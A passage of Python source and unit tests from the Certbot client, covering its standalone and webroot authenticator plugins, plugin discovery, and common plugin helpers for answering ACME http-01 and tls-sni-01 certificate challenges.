        instance.server.server_close()
        instance.thread.join()
        del self._instances[port]

    def running(self):
        """Return all running instances.

        Once the server is stopped using `stop`, it will not be
        returned.

        :returns: Mapping from ``port`` to ``server``.
        :rtype: tuple

        """
        return dict((port, instance.server) for port, instance
                    in six.iteritems(self._instances))


SUPPORTED_CHALLENGES = [challenges.TLSSNI01, challenges.HTTP01]


def supported_challenges_validator(data):
    """Supported challenges validator for the `argparse`.

    It should be passed as `type` argument to `add_argument`.

    """
    challs = data.split(",")

    # tls-sni-01 was dvsni during private beta
    if "dvsni" in challs:
        logger.info("Updating legacy standalone_supported_challenges value")
        challs = [challenges.TLSSNI01.typ if chall == "dvsni" else chall
                  for chall in challs]
        data = ",".join(challs)

    unrecognized = [name for name in challs
                    if name not in challenges.Challenge.TYPES]
    if unrecognized:
        raise argparse.ArgumentTypeError(
            "Unrecognized challenges: {0}".format(", ".join(unrecognized)))

    choices = set(chall.typ for chall in SUPPORTED_CHALLENGES)
    if not set(challs).issubset(choices):
        raise argparse.ArgumentTypeError(
            "Plugin does not support the following (valid) "
            "challenges: {0}".format(", ".join(set(challs) - choices)))

    return data


@zope.interface.implementer(interfaces.IAuthenticator)
@zope.interface.provider(interfaces.IPluginFactory)
class Authenticator(common.Plugin):
    """Standalone Authenticator.

    This authenticator creates its own ephemeral TCP listener on the
    necessary port in order to respond to incoming tls-sni-01 and http-01
    challenges from the certificate authority. Therefore, it does not
    rely on any existing server program.
    """

    description = "Spin up a temporary webserver"

    def __init__(self, *args, **kwargs):
        super(Authenticator, self).__init__(*args, **kwargs)

        # one self-signed key for all tls-sni-01 certificates
        self.key = OpenSSL.crypto.PKey()
        self.key.generate_key(OpenSSL.crypto.TYPE_RSA, 2048)

        self.served = collections.defaultdict(set)

        # Stuff below is shared across threads (i.e. servers read
        # values, main thread writes). Due to the nature of CPython's
        # GIL, the operations are safe, c.f.
        # https://docs.python.org/2/faq/library.html#what-kinds-of-global-value-mutation-are-thread-safe
        self.certs = {}
        self.http_01_resources = set()

        self.servers = ServerManager(self.certs, self.http_01_resources)

    @classmethod
    def add_parser_arguments(cls, add):
        add("supported-challenges",
            help="Supported challenges. Preferred in the order they are listed.",
            type=supported_challenges_validator,
            default=",".join(chall.typ for chall in SUPPORTED_CHALLENGES))

    @property
    def supported_challenges(self):
        """Challenges supported by this plugin."""
        return [challenges.Challenge.TYPES[name] for name in
                self.conf("supported-challenges").split(",")]

    @property
    def _necessary_ports(self):
        necessary_ports = set()
        if challenges.HTTP01 in self.supported_challenges:
            necessary_ports.add(self.config.http01_port)
        if challenges.TLSSNI01 in self.supported_challenges:
            necessary_ports.add(self.config.tls_sni_01_port)
        return necessary_ports

    def more_info(self):  # pylint: disable=missing-docstring
        return("This authenticator creates its own ephemeral TCP listener "
               "on the necessary port in order to respond to incoming "
               "tls-sni-01 and http-01 challenges from the certificate "
               "authority. Therefore, it does not rely on any existing "
               "server program.")

    def prepare(self):  # pylint: disable=missing-docstring
        pass

    def get_chall_pref(self, domain):
        # pylint: disable=unused-argument,missing-docstring
        return self.supported_challenges

    def perform(self, achalls):  # pylint: disable=missing-docstring
        renewer = self.config.verb == "renew"
        if any(util.already_listening(port, renewer) for port in self._necessary_ports):
            raise errors.MisconfigurationError(
                "At least one of the (possibly) required ports is "
                "already taken.")

        try:
            return self.perform2(achalls)
        except errors.StandaloneBindError as error:
            display = zope.component.getUtility(interfaces.IDisplay)

            if error.socket_error.errno == socket.errno.EACCES:
                display.notification(
                    "Could not bind TCP port {0} because you don't have "
                    "the appropriate permissions (for example, you "
                    "aren't running this program as "
                    "root).".format(error.port))
            elif error.socket_error.errno == socket.errno.EADDRINUSE:
                display.notification(
                    "Could not bind TCP port {0} because it is already in "
                    "use by another process on this system (such as a web "
                    "server). Please stop the program in question and then "
                    "try again.".format(error.port))
            else:
                raise  # XXX: How to handle unknown errors in binding?

    def perform2(self, achalls):
        """Perform achallenges without IDisplay interaction."""
        responses = []

        for achall in achalls:
            if isinstance(achall.chall, challenges.HTTP01):
                server = self.servers.run(
                    self.config.http01_port, challenges.HTTP01)
                response, validation = achall.response_and_validation()
                self.http_01_resources.add(
                    acme_standalone.HTTP01RequestHandler.HTTP01Resource(
                        chall=achall.chall, response=response,
                        validation=validation))
            else:  # tls-sni-01
                server = self.servers.run(
                    self.config.tls_sni_01_port, challenges.TLSSNI01)
                response, (cert, _) = achall.response_and_validation(
                    cert_key=self.key)
                self.certs[response.z_domain] = (self.key, cert)
            self.served[server].add(achall)
            responses.append(response)

        return responses

    def cleanup(self, achalls):  # pylint: disable=missing-docstring
        # reduce self.served and close servers if none challenges are served
        for server, server_achalls in self.served.items():
            for achall in achalls:
                if achall in server_achalls:
                    server_achalls.remove(achall)
        for port, server in six.iteritems(self.servers.running()):
            if not self.served[server]:
                self.servers.stop(port)






"""Tests for certbot.plugins.disco."""
import unittest

import mock
import pkg_resources
import six
import zope.interface

from certbot import errors
from certbot import interfaces

from certbot.plugins import standalone
from certbot.plugins import webroot

EP_SA = pkg_resources.EntryPoint(
    "sa", "certbot.plugins.standalone",
    attrs=("Authenticator",),
    dist=mock.MagicMock(key="certbot"))
EP_WR = pkg_resources.EntryPoint(
    "wr", "certbot.plugins.webroot",
    attrs=("Authenticator",),
    dist=mock.MagicMock(key="certbot"))


class PluginEntryPointTest(unittest.TestCase):
    """Tests for certbot.plugins.disco.PluginEntryPoint."""

    def setUp(self):
        self.ep1 = pkg_resources.EntryPoint(
            "ep1", "p1.ep1", dist=mock.MagicMock(key="p1"))
        self.ep1prim = pkg_resources.EntryPoint(
            "ep1", "p2.ep2", dist=mock.MagicMock(key="p2"))
        # nested
        self.ep2 = pkg_resources.EntryPoint(
            "ep2", "p2.foo.ep2", dist=mock.MagicMock(key="p2"))
        # project name != top-level package name
        self.ep3 = pkg_resources.EntryPoint(
            "ep3", "a.ep3", dist=mock.MagicMock(key="p3"))

        from certbot.plugins.disco import PluginEntryPoint
        self.plugin_ep = PluginEntryPoint(EP_SA)

    def test_entry_point_to_plugin_name(self):
        from certbot.plugins.disco import PluginEntryPoint

        names = {
            self.ep1: "p1:ep1",
            self.ep1prim: "p2:ep1",
            self.ep2: "p2:ep2",
            self.ep3: "p3:ep3",
            EP_SA: "sa",
        }

        for entry_point, name in six.iteritems(names):
            self.assertEqual(
                name, PluginEntryPoint.entry_point_to_plugin_name(entry_point))

    def test_description(self):
        self.assertTrue("temporary webserver" in self.plugin_ep.description)

    def test_description_with_name(self):
        self.plugin_ep.plugin_cls = mock.MagicMock(description="Desc")
        self.assertEqual(
            "Desc (sa)", self.plugin_ep.description_with_name)

    def test_ifaces(self):
        self.assertTrue(self.plugin_ep.ifaces((interfaces.IAuthenticator,)))
        self.assertFalse(self.plugin_ep.ifaces((interfaces.IInstaller,)))
        self.assertFalse(self.plugin_ep.ifaces((
            interfaces.IInstaller, interfaces.IAuthenticator)))

    def test__init__(self):
        self.assertFalse(self.plugin_ep.initialized)
        self.assertFalse(self.plugin_ep.prepared)
        self.assertFalse(self.plugin_ep.misconfigured)
        self.assertFalse(self.plugin_ep.available)
        self.assertTrue(self.plugin_ep.problem is None)
        self.assertTrue(self.plugin_ep.entry_point is EP_SA)
        self.assertEqual("sa", self.plugin_ep.name)

        self.assertTrue(self.plugin_ep.plugin_cls is standalone.Authenticator)

    def test_init(self):
        config = mock.MagicMock()
        plugin = self.plugin_ep.init(config=config)
        self.assertTrue(self.plugin_ep.initialized)
        self.assertTrue(plugin.config is config)
        # memoize!
        self.assertTrue(self.plugin_ep.init() is plugin)
        self.assertTrue(plugin.config is config)
        # try to give different config
        self.assertTrue(self.plugin_ep.init(123) is plugin)
        self.assertTrue(plugin.config is config)

        self.assertFalse(self.plugin_ep.prepared)
        self.assertFalse(self.plugin_ep.misconfigured)
        self.assertFalse(self.plugin_ep.available)

    def test_verify(self):
        iface1 = mock.MagicMock(__name__="iface1")
        iface2 = mock.MagicMock(__name__="iface2")
        iface3 = mock.MagicMock(__name__="iface3")
        # pylint: disable=protected-access
        self.plugin_ep._initialized = plugin = mock.MagicMock()

        exceptions = zope.interface.exceptions
        with mock.patch("certbot.plugins."
                        "disco.zope.interface") as mock_zope:
            mock_zope.exceptions = exceptions

            def verify_object(iface, obj):  # pylint: disable=missing-docstring
                assert obj is plugin
                assert iface is iface1 or iface is iface2 or iface is iface3
                if iface is iface3:
                    raise mock_zope.exceptions.BrokenImplementation(None, None)
            mock_zope.verify.verifyObject.side_effect = verify_object
            self.assertTrue(self.plugin_ep.verify((iface1,)))
            self.assertTrue(self.plugin_ep.verify((iface1, iface2)))
            self.assertFalse(self.plugin_ep.verify((iface3,)))
            self.assertFalse(self.plugin_ep.verify((iface1, iface3)))

    def test_prepare(self):
        config = mock.MagicMock()
        self.plugin_ep.init(config=config)
        self.plugin_ep.prepare()
        self.assertTrue(self.plugin_ep.prepared)
        self.assertFalse(self.plugin_ep.misconfigured)

        # output doesn't matter that much, just test if it runs
        str(self.plugin_ep)

    def test_prepare_misconfigured(self):
        plugin = mock.MagicMock()
        plugin.prepare.side_effect = errors.MisconfigurationError
        # pylint: disable=protected-access
        self.plugin_ep._initialized = plugin
        self.assertTrue(isinstance(self.plugin_ep.prepare(),
                                   errors.MisconfigurationError))
        self.assertTrue(self.plugin_ep.prepared)
        self.assertTrue(self.plugin_ep.misconfigured)
        self.assertTrue(isinstance(self.plugin_ep.problem,
                                   errors.MisconfigurationError))
        self.assertTrue(self.plugin_ep.available)

    def test_prepare_no_installation(self):
        plugin = mock.MagicMock()
        plugin.prepare.side_effect = errors.NoInstallationError
        # pylint: disable=protected-access
        self.plugin_ep._initialized = plugin
        self.assertTrue(isinstance(self.plugin_ep.prepare(),
                                   errors.NoInstallationError))
        self.assertTrue(self.plugin_ep.prepared)
        self.assertFalse(self.plugin_ep.misconfigured)
        self.assertFalse(self.plugin_ep.available)

    def test_prepare_generic_plugin_error(self):
        plugin = mock.MagicMock()
        plugin.prepare.side_effect = errors.PluginError
        # pylint: disable=protected-access
        self.plugin_ep._initialized = plugin
        self.assertTrue(isinstance(self.plugin_ep.prepare(), errors.PluginError))
        self.assertTrue(self.plugin_ep.prepared)
        self.assertFalse(self.plugin_ep.misconfigured)
        self.assertFalse(self.plugin_ep.available)

    def test_repr(self):
        self.assertEqual("PluginEntryPoint#sa", repr(self.plugin_ep))


class PluginsRegistryTest(unittest.TestCase):
    """Tests for certbot.plugins.disco.PluginsRegistry."""

    def setUp(self):
        from certbot.plugins.disco import PluginsRegistry
        self.plugin_ep = mock.MagicMock(name="mock")
        self.plugin_ep.__hash__.side_effect = TypeError
        self.plugins = {"mock": self.plugin_ep}
        self.reg = PluginsRegistry(self.plugins)

    def test_find_all(self):
        from certbot.plugins.disco import PluginsRegistry
        with mock.patch("certbot.plugins.disco.pkg_resources") as mock_pkg:
            mock_pkg.iter_entry_points.side_effect = [iter([EP_SA]),
                                                      iter([EP_WR])]
            plugins = PluginsRegistry.find_all()
        self.assertTrue(plugins["sa"].plugin_cls is standalone.Authenticator)
        self.assertTrue(plugins["sa"].entry_point is EP_SA)
        self.assertTrue(plugins["wr"].plugin_cls is webroot.Authenticator)
        self.assertTrue(plugins["wr"].entry_point is EP_WR)

    def test_getitem(self):
        self.assertEqual(self.plugin_ep, self.reg["mock"])

    def test_iter(self):
        self.assertEqual(["mock"], list(self.reg))

    def test_len(self):
        self.assertEqual(1, len(self.reg))
        self.plugins.clear()
        self.assertEqual(0, len(self.reg))

    def test_init(self):
        self.plugin_ep.init.return_value = "baz"
        self.assertEqual(["baz"], self.reg.init("bar"))
        self.plugin_ep.init.assert_called_once_with("bar")

    def test_filter(self):
        self.plugins.update({
            "foo": "bar",
            "bar": "foo",
            "baz": "boo",
        })
        self.assertEqual(
            {"foo": "bar", "baz": "boo"},
            self.reg.filter(lambda p_ep: str(p_ep).startswith("b")))

    def test_ifaces(self):
        self.plugin_ep.ifaces.return_value = True
        # pylint: disable=protected-access
        self.assertEqual(self.plugins, self.reg.ifaces()._plugins)
        self.plugin_ep.ifaces.return_value = False
        self.assertEqual({}, self.reg.ifaces()._plugins)

    def test_verify(self):
        self.plugin_ep.verify.return_value = True
        # pylint: disable=protected-access
        self.assertEqual(
            self.plugins, self.reg.verify(mock.MagicMock())._plugins)
        self.plugin_ep.verify.return_value = False
        self.assertEqual({}, self.reg.verify(mock.MagicMock())._plugins)

    def test_prepare(self):
        self.plugin_ep.prepare.return_value = "baz"
        self.assertEqual(["baz"], self.reg.prepare())
        self.plugin_ep.prepare.assert_called_once_with()

    def test_available(self):
        self.plugin_ep.available = True
        # pylint: disable=protected-access
        self.assertEqual(self.plugins, self.reg.available()._plugins)
        self.plugin_ep.available = False
        self.assertEqual({}, self.reg.available()._plugins)

    def test_find_init(self):
        self.assertTrue(self.reg.find_init(mock.Mock()) is None)
        self.plugin_ep.initalized = True
        self.assertTrue(
            self.reg.find_init(self.plugin_ep.init()) is self.plugin_ep)

    def test_repr(self):
        self.plugin_ep.__repr__ = lambda _: "PluginEntryPoint#mock"
        self.assertEqual("PluginsRegistry(PluginEntryPoint#mock)",
                         repr(self.reg))

    def test_str(self):
        self.plugin_ep.__str__ = lambda _: "Mock"
        self.plugins["foo"] = "Mock"
        self.assertEqual("Mock\n\nMock", str(self.reg))
        self.plugins.clear()
        self.assertEqual("No plugins", str(self.reg))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.plugins.standalone."""
import argparse
import socket
import unittest

import mock
import six

from acme import challenges
from acme import jose
from acme import standalone as acme_standalone

from certbot import achallenges
from certbot import errors
from certbot import interfaces

from certbot.tests import acme_util
from certbot.tests import test_util


class ServerManagerTest(unittest.TestCase):
    """Tests for certbot.plugins.standalone.ServerManager."""

    def setUp(self):
        from certbot.plugins.standalone import ServerManager
        self.certs = {}
        self.http_01_resources = {}
        self.mgr = ServerManager(self.certs, self.http_01_resources)

    def test_init(self):
        self.assertTrue(self.mgr.certs is self.certs)
        self.assertTrue(
            self.mgr.http_01_resources is self.http_01_resources)

    def _test_run_stop(self, challenge_type):
        server = self.mgr.run(port=0, challenge_type=challenge_type)
        port = server.socket.getsockname()[1]  # pylint: disable=no-member
        self.assertEqual(self.mgr.running(), {port: server})
        self.mgr.stop(port=port)
        self.assertEqual(self.mgr.running(), {})

    def test_run_stop_tls_sni_01(self):
        self._test_run_stop(challenges.TLSSNI01)

    def test_run_stop_http_01(self):
        self._test_run_stop(challenges.HTTP01)

    def test_run_idempotent(self):
        server = self.mgr.run(port=0, challenge_type=challenges.HTTP01)
        port = server.socket.getsockname()[1]  # pylint: disable=no-member
        server2 = self.mgr.run(port=port, challenge_type=challenges.HTTP01)
        self.assertEqual(self.mgr.running(), {port: server})
        self.assertTrue(server is server2)
        self.mgr.stop(port)
        self.assertEqual(self.mgr.running(), {})

    def test_run_bind_error(self):
        some_server = socket.socket()
        some_server.bind(("", 0))
        port = some_server.getsockname()[1]
        self.assertRaises(
            errors.StandaloneBindError, self.mgr.run, port,
            challenge_type=challenges.HTTP01)
        self.assertEqual(self.mgr.running(), {})


class SupportedChallengesValidatorTest(unittest.TestCase):
    """Tests for plugins.standalone.supported_challenges_validator."""

    def _call(self, data):
        from certbot.plugins.standalone import (
            supported_challenges_validator)
        return supported_challenges_validator(data)

    def test_correct(self):
        self.assertEqual("tls-sni-01", self._call("tls-sni-01"))
        self.assertEqual("http-01", self._call("http-01"))
        self.assertEqual("tls-sni-01,http-01", self._call("tls-sni-01,http-01"))
        self.assertEqual("http-01,tls-sni-01", self._call("http-01,tls-sni-01"))

    def test_unrecognized(self):
        assert "foo" not in challenges.Challenge.TYPES
        self.assertRaises(argparse.ArgumentTypeError, self._call, "foo")

    def test_not_subset(self):
        self.assertRaises(argparse.ArgumentTypeError, self._call, "dns")

    def test_dvsni(self):
        self.assertEqual("tls-sni-01", self._call("dvsni"))
        self.assertEqual("http-01,tls-sni-01", self._call("http-01,dvsni"))
        self.assertEqual("tls-sni-01,http-01", self._call("dvsni,http-01"))


class AuthenticatorTest(unittest.TestCase):
    """Tests for certbot.plugins.standalone.Authenticator."""

    def setUp(self):
        from certbot.plugins.standalone import Authenticator
        self.config = mock.MagicMock(
            tls_sni_01_port=1234, http01_port=4321,
            standalone_supported_challenges="tls-sni-01,http-01")
        self.auth = Authenticator(self.config, name="standalone")

    def test_supported_challenges(self):
        self.assertEqual(self.auth.supported_challenges,
                         [challenges.TLSSNI01, challenges.HTTP01])

    def test_supported_challenges_configured(self):
        self.config.standalone_supported_challenges = "tls-sni-01"
        self.assertEqual(self.auth.supported_challenges,
                         [challenges.TLSSNI01])

    def test_more_info(self):
        self.assertTrue(isinstance(self.auth.more_info(), six.string_types))

    def test_get_chall_pref(self):
        self.assertEqual(self.auth.get_chall_pref(domain=None),
                         [challenges.TLSSNI01, challenges.HTTP01])

    def test_get_chall_pref_configured(self):
        self.config.standalone_supported_challenges = "tls-sni-01"
        self.assertEqual(self.auth.get_chall_pref(domain=None),
                         [challenges.TLSSNI01])

    @mock.patch("certbot.plugins.standalone.util")
    def test_perform_already_listening(self, mock_util):
        for chall, port in ((challenges.TLSSNI01.typ, 1234),
                            (challenges.HTTP01.typ, 4321)):
            mock_util.already_listening.return_value = True
            self.config.standalone_supported_challenges = chall
            self.assertRaises(
                errors.MisconfigurationError, self.auth.perform, [])
            mock_util.already_listening.assert_called_once_with(port, False)
            mock_util.already_listening.reset_mock()

    @mock.patch("certbot.plugins.standalone.zope.component.getUtility")
    def test_perform(self, unused_mock_get_utility):
        achalls = [1, 2, 3]
        self.auth.perform2 = mock.Mock(return_value=mock.sentinel.responses)
        self.assertEqual(mock.sentinel.responses, self.auth.perform(achalls))
        self.auth.perform2.assert_called_once_with(achalls)

    @mock.patch("certbot.plugins.standalone.zope.component.getUtility")
    def _test_perform_bind_errors(self, errno, achalls, mock_get_utility):
        def _perform2(unused_achalls):
            raise errors.StandaloneBindError(mock.Mock(errno=errno), 1234)

        self.auth.perform2 = mock.MagicMock(side_effect=_perform2)
        self.auth.perform(achalls)
        mock_get_utility.assert_called_once_with(interfaces.IDisplay)
        notification = mock_get_utility.return_value.notification
        self.assertEqual(1, notification.call_count)
        self.assertTrue("1234" in notification.call_args[0][0])

    def test_perform_eacces(self):
        # pylint: disable=no-value-for-parameter
        self._test_perform_bind_errors(socket.errno.EACCES, [])

    def test_perform_eaddrinuse(self):
        # pylint: disable=no-value-for-parameter
        self._test_perform_bind_errors(socket.errno.EADDRINUSE, [])

    def test_perfom_unknown_bind_error(self):
        self.assertRaises(
            errors.StandaloneBindError, self._test_perform_bind_errors,
            socket.errno.ENOTCONN, [])

    def test_perform2(self):
        domain = b'localhost'
        key = jose.JWK.load(test_util.load_vector('rsa512_key.pem'))
        http_01 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.HTTP01_P, domain=domain, account_key=key)
        tls_sni_01 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.TLSSNI01_P, domain=domain, account_key=key)

        self.auth.servers = mock.MagicMock()

        def _run(port, tls):  # pylint: disable=unused-argument
            return "server{0}".format(port)

        self.auth.servers.run.side_effect = _run
        responses = self.auth.perform2([http_01, tls_sni_01])

        self.assertTrue(isinstance(responses, list))
        self.assertEqual(2, len(responses))
        self.assertTrue(isinstance(responses[0], challenges.HTTP01Response))
        self.assertTrue(isinstance(responses[1], challenges.TLSSNI01Response))

        self.assertEqual(self.auth.servers.run.mock_calls, [
            mock.call(4321, challenges.HTTP01),
            mock.call(1234, challenges.TLSSNI01),
        ])
        self.assertEqual(self.auth.served, {
            "server1234": set([tls_sni_01]),
            "server4321": set([http_01]),
        })
        self.assertEqual(1, len(self.auth.http_01_resources))
        self.assertEqual(1, len(self.auth.certs))
        self.assertEqual(list(self.auth.http_01_resources), [
            acme_standalone.HTTP01RequestHandler.HTTP01Resource(
                acme_util.HTTP01, responses[0], mock.ANY)])

    def test_cleanup(self):
        self.auth.servers = mock.Mock()
        self.auth.servers.running.return_value = {
            1: "server1",
            2: "server2",
        }
        self.auth.served["server1"].add("chall1")
        self.auth.served["server2"].update(["chall2", "chall3"])

        self.auth.cleanup(["chall1"])
        self.assertEqual(self.auth.served, {
            "server1": set(), "server2": set(["chall2", "chall3"])})
        self.auth.servers.stop.assert_called_once_with(1)

        self.auth.servers.running.return_value = {
            2: "server2",
        }
        self.auth.cleanup(["chall2"])
        self.assertEqual(self.auth.served, {
            "server1": set(), "server2": set(["chall3"])})
        self.assertEqual(1, self.auth.servers.stop.call_count)

        self.auth.cleanup(["chall3"])
        self.assertEqual(self.auth.served, {
            "server1": set(), "server2": set([])})
        self.auth.servers.stop.assert_called_with(2)

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Certbot client.plugins."""






"""Tests for certbot.plugins.webroot."""

from __future__ import print_function

import argparse
import errno
import os
import shutil
import stat
import tempfile
import unittest

import mock
import six

from acme import challenges
from acme import jose

from certbot import achallenges
from certbot import errors
from certbot.display import util as display_util

from certbot.tests import acme_util
from certbot.tests import test_util


KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key.pem"))


class AuthenticatorTest(unittest.TestCase):
    """Tests for certbot.plugins.webroot.Authenticator."""

    achall = achallenges.KeyAuthorizationAnnotatedChallenge(
        challb=acme_util.HTTP01_P, domain="thing.com", account_key=KEY)

    def setUp(self):
        from certbot.plugins.webroot import Authenticator
        self.path = tempfile.mkdtemp()
        self.root_challenge_path = os.path.join(
            self.path, ".well-known", "acme-challenge")
        self.validation_path = os.path.join(
            self.root_challenge_path,
            "ZXZhR3hmQURzNnBTUmIyTEF2OUlaZjE3RHQzanV4R0orUEN0OTJ3citvQQ")
        self.config = mock.MagicMock(webroot_path=self.path,
                                     webroot_map={"thing.com": self.path})
        self.auth = Authenticator(self.config, "webroot")

    def tearDown(self):
        shutil.rmtree(self.path)

    def test_more_info(self):
        more_info = self.auth.more_info()
        self.assertTrue(isinstance(more_info, str))
        self.assertTrue(self.path in more_info)

    def test_add_parser_arguments(self):
        add = mock.MagicMock()
        self.auth.add_parser_arguments(add)
        self.assertEqual(2, add.call_count)

    def test_prepare(self):
        self.auth.prepare()  # shouldn't raise any exceptions

    @mock.patch("certbot.plugins.webroot.zope.component.getUtility")
    def test_webroot_from_list(self, mock_get_utility):
        self.config.webroot_path = []
        self.config.webroot_map = {"otherthing.com": self.path}
        mock_display = mock_get_utility()
        mock_display.menu.return_value = (display_util.OK, 1,)

        self.auth.perform([self.achall])
        self.assertTrue(mock_display.menu.called)
        for call in mock_display.menu.call_args_list:
            self.assertTrue(self.achall.domain in call[0][0])
            self.assertTrue(all(
                webroot in call[0][1]
                for webroot in six.itervalues(self.config.webroot_map)))
        self.assertEqual(self.config.webroot_map[self.achall.domain],
                         self.path)

    @mock.patch("certbot.plugins.webroot.zope.component.getUtility")
    def test_webroot_from_list_help_and_cancel(self, mock_get_utility):
        self.config.webroot_path = []
        self.config.webroot_map = {"otherthing.com": self.path}

        mock_display = mock_get_utility()
        mock_display.menu.side_effect = ((display_util.HELP, -1),
                                         (display_util.CANCEL, -1),)
        self.assertRaises(errors.PluginError, self.auth.perform, [self.achall])
        self.assertTrue(mock_display.notification.called)
        self.assertTrue(mock_display.menu.called)
        for call in mock_display.menu.call_args_list:
            self.assertTrue(self.achall.domain in call[0][0])
            self.assertTrue(all(
                webroot in call[0][1]
                for webroot in six.itervalues(self.config.webroot_map)))

    @mock.patch("certbot.plugins.webroot.zope.component.getUtility")
    def test_new_webroot(self, mock_get_utility):
        self.config.webroot_path = []
        self.config.webroot_map = {}

        imaginary_dir = os.path.join(os.sep, "imaginary", "dir")

        mock_display = mock_get_utility()
        mock_display.menu.return_value = (display_util.OK, 0,)
        mock_display.directory_select.side_effect = (
            (display_util.HELP, -1,), (display_util.CANCEL, -1,),
            (display_util.OK, imaginary_dir,), (display_util.OK, self.path,),)
        self.auth.perform([self.achall])

        self.assertTrue(mock_display.notification.called)
        for call in mock_display.notification.call_args_list:
            self.assertTrue(imaginary_dir in call[0][0] or
                            display_util.DSELECT_HELP == call[0][0])

        self.assertTrue(mock_display.directory_select.called)
        for call in mock_display.directory_select.call_args_list:
            self.assertTrue(self.achall.domain in call[0][0])

    def test_perform_missing_root(self):
        self.config.webroot_path = None
        self.config.webroot_map = {}
        self.assertRaises(errors.PluginError, self.auth.perform, [])

    def test_perform_reraises_other_errors(self):
        self.auth.full_path = os.path.join(self.path, "null")
        permission_canary = os.path.join(self.path, "rnd")
        with open(permission_canary, "w") as f:
            f.write("thingimy")
        os.chmod(self.path, 0o000)
        try:
            open(permission_canary, "r")
            print("Warning, running tests as root skips permissions tests...")
        except IOError:
            # ok, permissions work, test away...
            self.assertRaises(errors.PluginError, self.auth.perform, [])
        os.chmod(self.path, 0o700)

    @mock.patch("certbot.plugins.webroot.os.chown")
    def test_failed_chown(self, mock_chown):
        mock_chown.side_effect = OSError(errno.EACCES, "msg")
        self.auth.perform([self.achall])  # exception caught and logged

    def test_perform_permissions(self):
        self.auth.prepare()

        # Remove exec bit from permission check, so that it
        # matches the file
        self.auth.perform([self.achall])
        path_permissions = stat.S_IMODE(os.stat(self.validation_path).st_mode)
        self.assertEqual(path_permissions, 0o644)

        # Check permissions of the directories

        for dirpath, dirnames, _ in os.walk(self.path):
            for directory in dirnames:
                full_path = os.path.join(dirpath, directory)
                dir_permissions = stat.S_IMODE(os.stat(full_path).st_mode)
                self.assertEqual(dir_permissions, 0o755)

        parent_gid = os.stat(self.path).st_gid
        parent_uid = os.stat(self.path).st_uid

        self.assertEqual(os.stat(self.validation_path).st_gid, parent_gid)
        self.assertEqual(os.stat(self.validation_path).st_uid, parent_uid)

    def test_perform_cleanup(self):
        self.auth.prepare()
        responses = self.auth.perform([self.achall])
        self.assertEqual(1, len(responses))
        self.assertTrue(os.path.exists(self.validation_path))
        with open(self.validation_path) as validation_f:
            validation = validation_f.read()
        self.assertTrue(
            challenges.KeyAuthorizationChallengeResponse(
                key_authorization=validation).verify(
                    self.achall.chall, KEY.public_key()))

        self.auth.cleanup([self.achall])
        self.assertFalse(os.path.exists(self.validation_path))
        self.assertFalse(os.path.exists(self.root_challenge_path))

    def test_cleanup_leftovers(self):
        self.auth.prepare()
        self.auth.perform([self.achall])

        leftover_path = os.path.join(self.root_challenge_path, 'leftover')
        os.mkdir(leftover_path)

        self.auth.cleanup([self.achall])
        self.assertFalse(os.path.exists(self.validation_path))
        self.assertTrue(os.path.exists(self.root_challenge_path))

        os.rmdir(leftover_path)

    @mock.patch('os.rmdir')
    def test_cleanup_failure(self, mock_rmdir):
        self.auth.prepare()
        self.auth.perform([self.achall])

        os_error = OSError()
        os_error.errno = errno.EACCES
        mock_rmdir.side_effect = os_error

        self.auth.cleanup([self.achall])
        self.assertFalse(os.path.exists(self.validation_path))
        self.assertTrue(os.path.exists(self.root_challenge_path))


class WebrootActionTest(unittest.TestCase):
    """Tests for webroot argparse actions."""

    achall = achallenges.KeyAuthorizationAnnotatedChallenge(
        challb=acme_util.HTTP01_P, domain="thing.com", account_key=KEY)

    def setUp(self):
        from certbot.plugins.webroot import Authenticator
        self.path = tempfile.mkdtemp()
        self.parser = argparse.ArgumentParser()
        self.parser.add_argument("-d", "--domains",
                                 action="append", default=[])
        Authenticator.inject_parser_options(self.parser, "webroot")

    def test_webroot_map_action(self):
        args = self.parser.parse_args(
            ["--webroot-map", '{{"thing.com":"{0}"}}'.format(self.path)])
        self.assertEqual(args.webroot_map["thing.com"], self.path)

    def test_domain_before_webroot(self):
        args = self.parser.parse_args(
            "-d {0} -w {1}".format(self.achall.domain, self.path).split())
        config = self._get_config_after_perform(args)
        self.assertEqual(config.webroot_map[self.achall.domain], self.path)

    def test_domain_before_webroot_error(self):
        self.assertRaises(errors.PluginError, self.parser.parse_args,
                          "-d foo -w bar -w baz".split())
        self.assertRaises(errors.PluginError, self.parser.parse_args,
                          "-d foo -w bar -d baz -w qux".split())

    def test_multiwebroot(self):
        args = self.parser.parse_args("-w {0} -d {1} -w {2} -d bar".format(
            self.path, self.achall.domain, tempfile.mkdtemp()).split())
        self.assertEqual(args.webroot_map[self.achall.domain], self.path)
        config = self._get_config_after_perform(args)
        self.assertEqual(
            config.webroot_map[self.achall.domain], self.path)

    def _get_config_after_perform(self, config):
        from certbot.plugins.webroot import Authenticator
        auth = Authenticator(config, "webroot")
        auth.perform([self.achall])
        return auth.config


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Plugin common functions."""
import os
import re
import shutil
import tempfile

import OpenSSL
import pkg_resources
import zope.interface

from acme.jose import util as jose_util

from certbot import constants
from certbot import interfaces
from certbot import util


def option_namespace(name):
    """ArgumentParser options namespace (prefix of all options)."""
    return name + "-"


def dest_namespace(name):
    """ArgumentParser dest namespace (prefix of all destinations)."""
    return name.replace("-", "_") + "_"

private_ips_regex = re.compile(
    r"(^127\.0\.0\.1)|(^10\.)|(^172\.1[6-9]\.)|"
    r"(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)")
hostname_regex = re.compile(
    r"^(([a-z0-9]|[a-z0-9][a-z0-9\-]*[a-z0-9])\.)*[a-z]+$", re.IGNORECASE)


@zope.interface.implementer(interfaces.IPlugin)
class Plugin(object):
    """Generic plugin."""
    # provider is not inherited, subclasses must define it on their own
    # @zope.interface.provider(interfaces.IPluginFactory)

    def __init__(self, config, name):
        self.config = config
        self.name = name

    @jose_util.abstractclassmethod
    def add_parser_arguments(cls, add):
        """Add plugin arguments to the CLI argument parser.

        NOTE: If some of your flags interact with others, you can
        use cli.report_config_interaction to register this to ensure
        values are correctly saved/overridable during renewal.

        :param callable add: Function that proxies calls to
            `argparse.ArgumentParser.add_argument` prepending options
            with unique plugin name prefix.

        """

    @classmethod
